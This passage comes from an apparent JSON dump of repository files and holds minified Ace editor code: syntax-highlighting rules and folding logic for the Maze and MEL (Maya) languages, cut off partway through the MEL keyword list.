use\"},{token:\"constant.language\",regex:/%[LRUDNlrudn]/,comment:\"Direction\"},{token:[\"entity.name.function\",\"keyword.other\",\"keyword.operator\",\"keyword.other\",\"keyword.operator\",\"constant.numeric\",\"keyword.operator\",\"keyword.other\",\"keyword.operator\",\"constant.numeric\",\"string.quoted.double\",\"string.quoted.single\"],regex:/([A-Za-z][A-Za-z0-9])( *-> *)(?:([-+*\\/]=)( *)((?:-)?)([0-9]+)|(=)( *)(?:((?:-)?)([0-9]+)|(\"[^\"]*\")|('[^']*')))/,comment:\"Assignment function\"},{token:[\"entity.name.function\",\"keyword.other\",\"keyword.control\",\"keyword.other\",\"keyword.operator\",\"keyword.other\",\"keyword.operator\",\"constant.numeric\",\"entity.name.tag\",\"keyword.other\",\"keyword.control\",\"keyword.other\",\"constant.language\",\"keyword.other\",\"keyword.control\",\"keyword.other\",\"constant.language\"],regex:/([A-Za-z][A-Za-z0-9])( *-> *)(IF|if)( *)(?:([<>]=?|==)( *)((?:-)?)([0-9]+)|(\\*[\\*A-Za-z0-9]))( *)(THEN|then)( *)(%[LRUDNlrudn])(?:( *)(ELSE|else)( *)(%[LRUDNlrudn]))?/,comment:\"Equality Function\"},{token:\"entity.name.function\",regex:/[A-Za-z][A-Za-z0-9]/,comment:\"Function cell\"},{token:\"comment.line.double-slash\",regex:/ *\\/\\/.*/,comment:\"Comment\"}]},this.normalizeRules()};s.metaData={fileTypes:[\"mz\"],name:\"Maze\",scopeName:\"source.maze\"},r.inherits(s,i),t.MazeHighlightRules=s}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/maze\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/maze_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./maze_highlight_rules\").MazeHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.$id=\"ace/mode/maze\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-mel.js",
    "content": "ace.define(\"ace/mode/mel_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{caseInsensitive:!0,token:\"storage.type.mel\",regex:\"\\\\b(matrix|string|vector|float|int|void)\\\\b\"},{caseInsensitive:!0,token:\"support.function.mel\",regex:\"\\\\b((s(h(ow(ManipCtx|S(hadingGroupAttrEditor|electionInTitle)|H(idden|elp)|Window)|el(f(Button|TabLayout|Layout)|lField)|ading(GeometryRelCtx|Node|Connection|LightRelCtx))|y(s(tem|File)|mbol(Button|CheckBox))|nap(shot|Mode|2to2 |TogetherCtx|Key)|c(ulpt|ene(UIReplacement|Editor)|ale(BrushBrightness |Constraint|Key(Ctx)?)?|r(ipt(Node|Ctx|Table|edPanel(Type)?|Job|EditorInfo)|oll(Field|Layout))|mh)|t(itch(Surface(Points)?|AndExplodeShell )|a(ckTrace|rt(sWith |String ))|r(cmp|i(ng(ToStringArray |Array(Remove(Duplicates | )|C(ount |atenate )|ToString |Intersector))|p )|oke))|i(n(gleProfileBirailSurface)?|ze|gn|mplify)|o(u(nd(Control)?|rce)|ft(Mod(Ctx)?)?|rt)|u(perCtx|rface(S(haderList|ampler))?|b(st(itute(Geometry|AllString )?|ring)|d(M(irror|a(tchTopology|p(SewMove|Cut)))|iv(Crease|DisplaySmoothness)?|C(ollapse|leanTopology)|T(o(Blind|Poly)|ransferUVsToCache)|DuplicateAndConnect|EditUV|ListComponentConversion|AutoProjection)))|p(h(ere|rand)|otLight(PreviewPort)?|aceLocator|r(ing|eadSheetEditor))|e(t(s|MenuMode|Sta(te |rtupMessage|mpDensity )|NodeTypeFlag|ConstraintRestPosition |ToolTo|In(putDeviceMapping|finity)|D(ynamic|efaultShadingGroup|rivenKeyframe)|UITemplate|P(ar(ticleAttr|ent)|roject )|E(scapeCtx|dit(or|Ctx))|Key(Ctx|frame|Path)|F(ocus|luidAttr)|Attr(Mapping)?)|parator|ed|l(ect(Mode|ionConnection|Context|Type|edNodes|Pr(iority|ef)|Key(Ctx)?)?|LoadSettings)|archPathArray )|kin(Cluster|Percent)|q(uareSurface|rt)|w(itchTable|atchDisplayPort)|a(ve(Menu|Shelf|ToolSettings|I(nitialState|mage)|Pref(s|Objects)|Fluid|A(ttrPreset |llShelves))|mpleImage)|rtContext|mooth(step|Curve|TangentSurface))|h(sv_to_rgb|yp(ot|er(Graph|Shade|Panel))|i(tTest|de|lite)|ot(Box|key(Check)?)|ud(Button|Slider(Button)?)|e(lp(Line)?|adsUpDisplay|rmite)|wRe(nder(Load)?|flectionMap)|ard(enPointCurve|ware(RenderPanel)?))|n(o(nLinear|ise|de(Type|IconButton|Outliner|Preset)|rmal(ize |Constraint))|urbs(Boolean|S(elect|quare)|C(opyUVSet|ube)|To(Subdiv|Poly(gonsPref)?)|Plane|ViewDirectionVector )|ew(ton|PanelItems)|ame(space(Info)?|Command|Field))|c(h(oice|dir|eck(Box(Grp)?|DefaultRenderGlobals)|a(n(nelBox|geSubdiv(Region|ComponentDisplayLevel))|racter(Map|OutlineEditor)?))|y(cleCheck|linder)|tx(Completion|Traverse|EditMode|Abort)|irc(ularFillet|le)|o(s|n(str(uctionHistory|ain(Value)?)|nect(ionInfo|Control|Dynamic|Joint|Attr)|t(extInfo|rol)|dition|e|vert(SolidTx|Tessellation|Unit|FromOldLayers |Lightmap)|firmDialog)|py(SkinWeights|Key|Flexor|Array )|l(or(Slider(Grp|ButtonGrp)|Index(SliderGrp)?|Editor|AtPoint)?|umnLayout|lision)|arsenSubdivSelectionList|m(p(onentEditor|utePolysetVolume |actHairSystem )|mand(Port|Echo|Line)))|u(tKey|r(ve(MoveEPCtx|SketchCtx|CVCtx|Intersect|OnSurface|E(ditorCtx|PCtx)|AddPtCtx)?|rent(Ctx|Time(Ctx)?|Unit)))|p(GetSolverAttr|Button|S(olver(Types)?|e(t(SolverAttr|Edit)|am))|C(o(nstraint|llision)|ache)|Tool|P(anel|roperty))|eil|l(ip(Schedule(rOutliner)?|TrimBefore |Editor(CurrentTimeCtx)?)?|ose(Surface|Curve)|uster|ear(Cache)?|amp)|a(n(CreateManip|vas)|tch(Quiet)?|pitalizeString |mera(View)?)|r(oss(Product )?|eate(RenderLayer|MotionField |SubdivRegion|N(ode|ewShelf )|D(isplayLayer|rawCtx)|Editor))|md(Shell|FileOutput))|M(R(ender(ShadowData|Callback|Data|Util|View|Line(Array)?)|ampAttribute)|G(eometryData|lobal)|M(odelMessage|essage|a(nipData|t(erial|rix)))|BoundingBox|S(yntax|ceneMessage|t(atus|ring(Array)?)|imple|pace|elect(ion(Mask|List)|Info)|watchRender(Register|Base))|H(ardwareRenderer|WShaderSwatchGenerator)|NodeMessage|C(o(nditionMessage|lor(Array)?|m(putation|mand(Result|Message)))|ursor|loth(Material|S(ystem|olverRegister)|Con(straint|trol)|Triangle|Particle|Edge|Force)|allbackIdArray)|T(ypeId|ime(r(Message)?|Array)?|oolsInfo|esselationParams|r(imBoundaryArray|ansformationMatrix))|I(ntArray|t(Geometry|Mesh(Polygon|Edge|Vertex|FaceVertex)|S(urfaceCV|electionList)|CurveCV|Instancer|eratorType|D(ependency(Graph|Nodes)|ag)|Keyframe)|k(System|HandleGroup)|mage)|3dView|Object(SetMessage|Handle|Array)?|D(G(M(odifier|essage)|Context)|ynSwept(Triangle|Line)|istance|oubleArray|evice(State|Channel)|a(ta(Block|Handle)|g(M(odifier|essage)|Path(Array)?))|raw(Request(Queue)?|Info|Data|ProcedureBase))|U(serEventMessage|i(nt(Array|64Array)|Message))|P(o(int(Array)?|lyMessage)|lug(Array)?|rogressWindow|x(G(eometry(Iterator|Data)|lBuffer)|M(idiInputDevice|odelEditorCommand|anipContainer)|S(urfaceShape(UI)?|pringNode|electionContext)|HwShaderNode|Node|Co(ntext(Command)?|m(ponentShape|mand))|T(oolCommand|ransform(ationMatrix)?)|IkSolver(Node)?|3dModelView|ObjectSet|D(eformerNode|ata|ragAndDropBehavior)|PolyT(weakUVCommand|rg)|EmitterNode|F(i(eldNode|leTranslator)|luidEmitterNode)|LocatorNode))|E(ulerRotation|vent(Message)?)|ayatomr|Vector(Array)?|Quaternion|F(n(R(otateManip|eflectShader|adialField)|G(e(nericAttribute|ometry(Data|Filter))|ravityField)|M(otionPath|es(sageAttribute|h(Data)?)|a(nip3D|trix(Data|Attribute)))|B(l(innShader|endShapeDeformer)|ase)|S(caleManip|t(ateManip|ring(Data|ArrayData))|ingleIndexedComponent|ubd(Names|Data)?|p(hereData|otLight)|et|kinCluster)|HikEffector|N(on(ExtendedLight|AmbientLight)|u(rbs(Surface(Data)?|Curve(Data)?)|meric(Data|Attribute))|ewtonField)|C(haracter|ircleSweepManip|ompo(nent(ListData)?|undAttribute)|urveSegmentManip|lip|amera)|T(ypedAttribute|oggleManip|urbulenceField|r(ipleIndexedComponent|ansform))|I(ntArrayData|k(Solver|Handle|Joint|Effector))|D(ynSweptGeometryData|i(s(cManip|tanceManip)|rection(Manip|alLight))|ouble(IndexedComponent|ArrayData)|ependencyNode|a(ta|gNode)|ragField)|U(ni(tAttribute|formField)|Int64ArrayData)|P(hong(Shader|EShader)|oint(On(SurfaceManip|CurveManip)|Light|ArrayData)|fxGeometry|lugin(Data)?|arti(cleSystem|tion))|E(numAttribute|xpression)|V(o(lume(Light|AxisField)|rtexField)|ectorArrayData)|KeyframeDelta(Move|B(lockAddRemove|reakdown)|Scale|Tangent|InfType|Weighted|AddRemove)?|F(ield|luid|reePointTriadManip)|W(ireDeformer|eightGeometryFilter)|L(ight(DataAttribute)?|a(yeredShader|ttice(D(eformer|ata))?|mbertShader))|A(ni(sotropyShader|mCurve)|ttribute|irField|r(eaLight|rayAttrsData)|mbientLight))?|ile(IO|Object)|eedbackLine|loat(Matrix|Point(Array)?|Vector(Array)?|Array))|L(i(ghtLinks|brary)|ockMessage)|A(n(im(Message|C(ontrol|urveC(hange|lipboard(Item(Array)?)?))|Util)|gle)|ttribute(Spec(Array)?|Index)|r(rayData(Builder|Handle)|g(Database|Parser|List))))|t(hreePointArcCtx|ime(Control|Port|rX)|o(ol(Button|HasOptions|Collection|Dropped|PropertyWindow)|NativePath |upper|kenize(List )?|l(ower|erance)|rus|ggle(WindowVisibility|Axis)?)|u(rbulence|mble(Ctx)?)|ex(RotateContext|M(oveContext|anipContext)|t(ScrollList|Curves|ure(HairColor |DisplacePlane |PlacementContext|Window)|ToShelf |Field(Grp|ButtonGrp)?)?|S(caleContext|electContext|mudgeUVContext)|WinToolCtx)|woPointArcCtx|a(n(gentConstraint)?|bLayout)|r(im|unc(ate(HairCache|FluidCache))?|a(ns(formLimits|lator)|c(e|k(Ctx)?))))|i(s(olateSelect|Connected|True|Dirty|ParentOf |Valid(String |ObjectName |UiName )|AnimCurve )|n(s(tance(r)?|ert(Joint(Ctx)?|K(not(Surface|Curve)|eyCtx)))|heritTransform|t(S(crollBar|lider(Grp)?)|er(sect|nalVar|ToUI )|Field(Grp)?))|conText(Radio(Button|Collection)|Button|StaticLabel|CheckBox)|temFilter(Render|Type|Attr)?|prEngine|k(S(ystem(Info)?|olver|plineHandleCtx)|Handle(Ctx|DisplayScale)?|fkDisplayMethod)|m(portComposerCurves |fPlugins|age))|o(ceanNurbsPreviewPlane |utliner(Panel|Editor)|p(tion(Menu(Grp)?|Var)|en(GLExtension|MayaPref))|verrideModifier|ffset(Surface|Curve(OnSurface)?)|r(ientConstraint|bit(Ctx)?)|b(soleteProc |j(ect(Center|Type(UI)?|Layer )|Exists)))|d(yn(RelEd(itor|Panel)|Globals|C(ontrol|ache)|P(a(intEditor|rticleCtx)|ref)|Exp(ort|ression)|amicLoad)|i(s(connect(Joint|Attr)|tanceDim(Context|ension)|pla(y(RGBColor|S(tats|urface|moothness)|C(olor|ull)|Pref|LevelOfDetail|Affected)|cementToPoly)|kCache|able)|r(name |ect(ionalLight|KeyCtx)|map)|mWhen)|o(cServer|Blur|t(Product )?|ubleProfileBirailSurface|peSheetEditor|lly(Ctx)?)|uplicate(Surface|Curve)?|e(tach(Surface|Curve|DeviceAttr)|vice(Panel|Editor)|f(ine(DataServer|VirtualDevice)|ormer|ault(Navigation|LightListCheckBox))|l(ete(Sh(elfTab |adingGroupsAndMaterials )|U(nusedBrushes |I)|Attr)?|randstr)|g_to_rad)|agPose|r(opoffLocator|ag(gerContext)?)|g(timer|dirty|Info|eval))|CBG |u(serCtx|n(t(angleUV|rim)|i(t|form)|do(Info)?|loadPlugin|assignInputDevice|group)|iTemplate|p(dateAE |Axis)|v(Snapshot|Link))|joint(C(tx|luster)|DisplayScale|Lattice)?|p(sd(ChannelOutliner|TextureFile|E(ditTextureFile|xport))|close|i(c(ture|kWalk)|xelMove)|o(se|int(MatrixMult |C(onstraint|urveConstraint)|On(Surface|Curve)|Position|Light)|p(upMenu|en)|w|l(y(Reduce|GeoSampler|M(irrorFace|ove(UV|Edge|Vertex|Facet(UV)?)|erge(UV|Edge(Ctx)?|Vertex|Facet(Ctx)?)|ap(Sew(Move)?|Cut|Del))|B(oolOp|evel|l(indData|endColor))|S(traightenUVBorder|oftEdge|u(perCtx|bdivide(Edge|Facet))|p(her(icalProjection|e)|lit(Ring|Ctx|Edge|Vertex)?)|e(tToFaceNormal|parate|wEdge|lect(Constraint(Monitor)?|EditCtx))|mooth)|Normal(izeUV|PerVertex)?|C(hipOff|ylind(er|ricalProjection)|o(ne|pyUV|l(or(BlindData|Set|PerVertex)|lapse(Edge|Facet)))|u(t(Ctx)?|be)|l(ipboard|oseBorder)|acheMonitor|rea(seEdge|teFacet(Ctx)?))|T(o(Subdiv|rus)|r(iangulate|ansfer))|In(stallAction|fo)|Options|D(uplicate(Edge|AndConnect)|el(Edge|Vertex|Facet))|U(nite|VSet)|P(yramid|oke|lan(e|arProjection)|r(ism|ojection))|E(ditUV|valuate|xtrude(Edge|Facet))|Qu(eryBlindData|ad)|F(orceUV|lip(UV|Edge))|WedgeFace|L(istComponentConversion|ayoutUV)|A(utoProjection|ppend(Vertex|FacetCtx)?|verage(Normal|Vertex)))|eVectorConstraint))|utenv|er(cent|formanceOptions)|fxstrokes|wd|l(uginInfo|a(y(b(last|ackOptions))?|n(e|arSrf)))|a(steKey|ne(l(History|Configuration)?|Layout)|thAnimation|irBlend|use|lettePort|r(ti(cle(RenderInfo|Instancer|Exists)?|tion)|ent(Constraint)?|am(Dim(Context|ension)|Locator)))|r(int|o(j(ect(ion(Manip|Context)|Curve|Tangent)|FileViewer)|pMo(dCtx|ve)|gress(Bar|Window)|mptDialog)|eloadRefEd))|e(n(codeString|d(sWith |String )|v|ableDevice)|dit(RenderLayer(Globals|Members)|or(Template)?|DisplayLayer(Globals|Members)|AttrLimits )|v(ent|al(Deferred|Echo)?)|quivalent(Tol | )|ffector|r(f|ror)|x(clusiveLightCheckBox|t(end(Surface|Curve)|rude)|ists|p(ortComposerCurves |ression(EditorListen)?)?|ec(uteForEachObject )?|actWorldBoundingBox)|mit(ter)?)|v(i(sor|ew(Set|HeadOn|2dToolCtx|C(lipPlane|amera)|Place|Fit|LookAt))|o(lumeAxis|rtex)|e(ctorize|rifyCmd )|alidateShelfName )|key(Tangent|frame(Region(MoveKeyCtx|S(caleKeyCtx|e(tKeyCtx|lectKeyCtx))|CurrentTimeCtx|TrackCtx|InsertKeyCtx|D(irectKeyCtx|ollyCtx))|Stats|Outliner)?)|qu(it|erySubdiv)|f(c(heck|lose)|i(nd(RelatedSkinCluster |MenuItem |er|Keyframe|AllIntersections )|tBspline|l(ter(StudioImport|Curve|Expand)?|e(BrowserDialog|test|Info|Dialog|Extension )?|letCurve)|rstParentOf )|o(ntDialog|pen|rmLayout)|print|eof|flush|write|l(o(or|w|at(S(crollBar|lider(Grp|ButtonGrp|2)?)|Eq |Field(Grp)?))|u(shUndo|id(CacheInfo|Emitter|VoxelInfo))|exor)|r(omNativePath |e(eFormFillet|wind|ad)|ameLayout)|get(word|line)|mod)|w(hatIs|i(ndow(Pref)?|re(Context)?)|orkspace|ebBrowser(Prefs)?|a(itCursor|rning)|ri(nkle(Context)?|teTake))|l(s(T(hroughFilter|ype )|UI)?|i(st(Relatives|MenuAnnotation |Sets|History|NodeTypes|C(onnections|ameras)|Transforms |InputDevice(s|Buttons|Axes)|erEditor|DeviceAttachments|Unselected |A(nimatable|ttr))|n(step|eIntersection )|ght(link|List(Panel|Editor)?))|o(ckNode|okThru|ft|ad(NewShelf |P(lugin|refObjects)|Fluid)|g)|a(ssoContext|y(out|er(Button|ed(ShaderPort|TexturePort)))|ttice(DeformKeyCtx)?|unch(ImageEditor)?))|a(ssign(Command|InputDevice)|n(notate|im(C(one|urveEditor)|Display|View)|gle(Between)?)|tt(ach(Surface|Curve|DeviceAttr)|r(ibute(Menu|Info|Exists|Query)|NavigationControlGrp|Co(ntrolGrp|lorSliderGrp|mpatibility)|PresetEditWin|EnumOptionMenu(Grp)?|Field(Grp|SliderGrp)))|i(r|mConstraint)|d(d(NewShelfTab|Dynamic|PP|Attr(ibuteEditorNodeHelp)?)|vanceToNextDrivenKey)|uto(Place|Keyframe)|pp(endStringArray|l(y(Take|AttrPreset)|icationName))|ffect(s|edNet)|l(i(as(Attr)?|gn(Surface|C(tx|urve))?)|lViewFit)|r(c(len|Len(DimContext|gthDimension))|t(BuildPaintMenu|Se(tPaintCtx|lectCtx)|3dPaintCtx|UserPaintCtx|PuttyCtx|FluidAttrCtx|Attr(SkinPaintCtx|Ctx|PaintVertexCtx))|rayMapper)|mbientLight|b(s|out))|r(igid(Body|Solver)|o(t(at(ionInterpolation|e))?|otOf |undConstantRadius|w(ColumnLayout|Layout)|ll(Ctx)?)|un(up|TimeCommand)|e(s(olutionNode|et(Tool|AE )|ampleFluid)|hash|n(der(GlobalsNode|Manip|ThumbnailUpdate|Info|er|Partition|QualityNode|Window(SelectContext|Editor)|LayerButton)?|ame(SelectionList |UI|Attr)?)|cord(Device|Attr)|target|order(Deformers)?|do|v(olve|erse(Surface|Curve))|quires|f(ineSubdivSelectionList|erence(Edit|Query)?|resh(AE )?)|loadImage|adTake|root|move(MultiInstance|Joint)|build(Surface|Curve))|a(n(d(state|omizeFollicles )?|geControl)|d(i(o(MenuItemCollection|Button(Grp)?|Collection)|al)|_to_deg)|mpColorPort)|gb_to_hsv)|g(o(toBindPose |al)|e(t(M(odifiers|ayaPanelTypes )|Classification|InputDeviceRange|pid|env|DefaultBrush|Pa(nel|rticleAttr)|F(ileList|luidAttr)|A(ttr|pplicationVersionAsFloat ))|ometryConstraint)|l(Render(Editor)?|obalStitch)|a(uss|mma)|r(id(Layout)?|oup(ObjectsByName )?|a(dientControl(NoAttr)?|ph(SelectContext|TrackCtx|DollyCtx)|vity|bColor))|match)|x(pmPicker|form|bmLangPathList )|m(i(n(imizeApp)?|rrorJoint)|o(del(CurrentTimeCtx|Panel|Editor)|use|v(In|e(IKtoFK |VertexAlongDirection|KeyCtx)?|Out))|u(te|ltiProfileBirailSurface)|e(ssageLine|nu(BarLayout|Item(ToShelf )?|Editor)?|mory)|a(nip(Rotate(Context|LimitsCtx)|Move(Context|LimitsCtx)|Scale(Context|LimitsCtx)|Options)|tch|ke(Roll |SingleSurface|TubeOn |Identity|Paintable|bot|Live)|rker|g|x))|b(in(Membership|d(Skin|Pose))|o(neLattice|undary|x(ZoomCtx|DollyCtx))|u(tton(Manip)?|ild(BookmarkMenu|KeyframeMenu)|fferCurve)|e(ssel|vel(Plus)?)|l(indDataType|end(Shape(Panel|Editor)?|2|TwoAttr))|a(sename(Ex | )|tchRender|ke(Results|Simulation|Clip|PartialHistory|FluidShading )))))\\\\b\"},{caseInsensitive:!0,token:\"support.constant.mel\",regex:\"\\\\b(s(h(ellTessellate|a(d(ing(Map|Engine)|erGlow)|pe))|n(ow|apshot(Shape)?)|c(ulpt|aleConstraint|ript)|t(yleCurve|itch(Srf|AsNurbsShell)|u(cco|dioClearCoat)|encil|roke(Globals)?)|i(ngleShadingSwitch|mpleVolumeShader)|o(ftMod(Manip|Handle)?|lidFractal)|u(rface(Sha(der|pe)|Info|EdManip|VarGroup|Luminance)|b(Surface|d(M(odifier(UV|World)?|ap(SewMove|Cut|pingManip))|B(lindData|ase)|iv(ReverseFaces|SurfaceVarGroup|Co(llapse|mponentId)|To(Nurbs|Poly))?|HierBlind|CleanTopology|Tweak(UV)?|P(lanarProj|rojManip)|LayoutUV|A(ddTopology|utoProj))|Curve))|p(BirailSrf|otLight|ring)|e(tRange|lectionListOperator)|k(inCluster|etchPlane)|quareSrf|ampler(Info)?|m(ooth(Curve|TangentSrf)|ear))|h(svToRgb|yper(GraphInfo|View|Layout)|ik(Solver|Handle|Effector)|oldMatrix|eightField|w(Re(nderGlobals|flectionMap)|Shader)|a(ir(System|Constraint|TubeShader)|rd(enPoint|wareRenderGlobals)))|n(o(n(ExtendedLightShapeNode|Linear|AmbientLightShapeNode)|ise|rmalConstraint)|urbs(Surface|Curve|T(oSubdiv(Proc)?|essellate)|DimShape)|e(twork|wtonField))|c(h(o(ice|oser)|ecker|aracter(Map|Offset)?)|o(n(straint|tr(olPoint|ast)|dition)|py(ColorSet|UVSet))|urve(Range|Shape|Normalizer(Linear|Angle)?|In(tersect|fo)|VarGroup|From(Mesh(CoM|Edge)?|Su(rface(Bnd|CoS|Iso)?|bdiv(Edge|Face)?)))|l(ip(Scheduler|Library)|o(se(stPointOnSurface|Surface|Curve)|th|ud)|uster(Handle)?|amp)|amera(View)?|r(eate(BPManip|ColorSet|UVSet)|ater))|t(ime(ToUnitConversion|Function)?|oo(nLineAttributes|lDrawManip)|urbulenceField|ex(BaseDeformManip|ture(BakeSet|2d|ToGeom|3d|Env)|SmudgeUVManip|LatticeDeformManip)|weak|angentConstraint|r(i(pleShadingSwitch|m(WithBoundaries)?)|ansform(Geometry)?))|i(n(s(tancer|ertKnot(Surface|Curve))|tersectSurface)|k(RPsolver|MCsolver|S(ystem|olver|Csolver|plineSolver)|Handle|PASolver|Effector)|m(plicit(Box|Sphere|Cone)|agePlane))|o(cean(Shader)?|pticalFX|ffset(Surface|C(os|urve))|ldBlindDataBase|rient(Constraint|ationMarker)|bject(RenderFilter|MultiFilter|BinFilter|S(criptFilter|et)|NameFilter|TypeFilter|Filter|AttrFilter))|d(yn(Globals|Base)|i(s(tance(Between|DimShape)|pla(yLayer(Manager)?|cementShader)|kCache)|rect(ionalLight|edDisc)|mensionShape)|o(ubleShadingSwitch|f)|pBirailSrf|e(tach(Surface|Curve)|pendNode|f(orm(Bend|S(ine|quash)|Twist|ableShape|F(unc|lare)|Wave)|ault(RenderUtilityList|ShaderList|TextureList|LightList))|lete(Co(lorSet|mponent)|UVSet))|ag(Node|Pose)|r(opoffLocator|agField))|u(seBackground|n(trim|i(t(Conversion|ToTimeConversion)|formField)|known(Transform|Dag)?)|vChooser)|j(iggle|oint(Cluster|Ffd|Lattice)?)|p(sdFileTex|hong(E)?|o(s(tProcessList|itionMarker)|int(MatrixMult|Constraint|On(SurfaceInfo|CurveInfo)|Emitter|Light)|l(y(Reduce|M(irror|o(difier(UV|World)?|ve(UV|Edge|Vertex|Face(tUV)?))|erge(UV|Edge|Vert|Face)|ap(Sew(Move)?|Cut|Del))|B(oolOp|evel|lindData|ase)|S(traightenUVBorder|oftEdge|ubd(Edge|Face)|p(h(ere|Proj)|lit(Ring|Edge|Vert)?)|e(parate|wEdge)|mooth(Proxy|Face)?)|Normal(izeUV|PerVertex)?|C(hipOff|yl(inder|Proj)|o(ne|pyUV|l(orPerVertex|lapse(Edge|F)))|u(t(Manip(Container)?)?|be)|loseBorder|rea(seEdge|t(or|eFace)))|T(o(Subdiv|rus)|weak(UV)?|r(iangulate|ansfer))|OptUvs|D(uplicateEdge|el(Edge|Vertex|Facet))|Unite|P(yramid|oke(Manip)?|lan(e|arProj)|r(i(sm|mitive)|oj))|Extrude(Edge|Vertex|Face)|VertexNormalManip|Quad|Flip(UV|Edge)|WedgeFace|LayoutUV|A(utoProj|ppend(Vertex)?|verageVertex))|eVectorConstraint))|fx(Geometry|Hair|Toon)|l(usMinusAverage|a(n(e|arTrimSurface)|ce(2dTexture|3dTexture)))|a(ssMatrix|irBlend|r(ti(cle(SamplerInfo|C(olorMapper|loud)|TranspMapper|IncandMapper|AgeMapper)?|tion)|ent(Constraint|Tessellate)|amDimension))|r(imitive|o(ject(ion|Curve|Tangent)|xyManager)))|e(n(tity|v(Ball|ironmentFog|S(phere|ky)|C(hrome|ube)|Fog))|x(t(end(Surface|Curve)|rude)|p(lodeNurbsShell|ression)))|v(iewManip|o(lume(Shader|Noise|Fog|Light|AxisField)|rtexField)|e(ctor(RenderGlobals|Product)|rtexBakeSet))|quadShadingSwitch|f(i(tBspline|eld|l(ter(Resample|Simplify|ClosestSample|Euler)?|e|letCurve))|o(urByFourMatrix|llicle)|urPointOn(MeshInfo|Subd)|f(BlendSrf(Obsolete)?|d|FilletSrf)|l(ow|uid(S(hape|liceManip)|Texture(2D|3D)|Emitter)|exorShape)|ra(ctal|meCache))|w(tAddMatrix|ire|ood|eightGeometryFilter|ater|rap)|l(ight(Info|Fog|Li(st|nker))?|o(cator|okAt|d(Group|Thresholds)|ft)|uminance|ea(stSquaresModifier|ther)|a(yered(Shader|Texture)|ttice|mbert))|a(n(notationShape|i(sotropic|m(Blend(InOut)?|C(urve(T(T|U|L|A)|U(T|U|L|A))?|lip)))|gleBetween)|tt(ach(Surface|Curve)|rHierarchyTest)|i(rField|mConstraint)|dd(Matrix|DoubleLinear)|udio|vg(SurfacePoints|NurbsSurfacePoints|Curves)|lign(Manip|Surface|Curve)|r(cLengthDimension|tAttrPaintTest|eaLight|rayMapper)|mbientLight|bstractBase(NurbsConversion|Create))|r(igid(Body|Solver|Constraint)|o(ck|undConstantRadius)|e(s(olution|ultCurve(TimeTo(Time|Unitless|Linear|Angular))?)|nder(Rect|Globals(List)?|Box|Sphere|Cone|Quality|L(ight|ayer(Manager)?))|cord|v(olve(dPrimitive)?|erse(Surface|Curve)?)|f(erence|lect)|map(Hsv|Color|Value)|build(Surface|Curve))|a(dialField|mp(Shader)?)|gbToHsv|bfSrf)|g(uide|eo(Connect(or|able)|metry(Shape|Constraint|VarGroup|Filter))|lobal(Stitch|CacheControl)|ammaCorrect|r(id|oup(Id|Parts)|a(nite|vityField)))|Fur(Globals|Description|Feedback|Attractors)|xformManip|m(o(tionPath|untain|vie)|u(te|lt(Matrix|i(plyDivide|listerLight)|DoubleLinear))|pBirailSrf|e(sh(VarGroup)?|ntalray(Texture|IblShape))|a(terialInfo|ke(Group|Nurb(sSquare|Sphere|C(ylinder|ircle|one|ube)|Torus|Plane)|CircularArc|T(hreePointCircularArc|extCurves|woPoi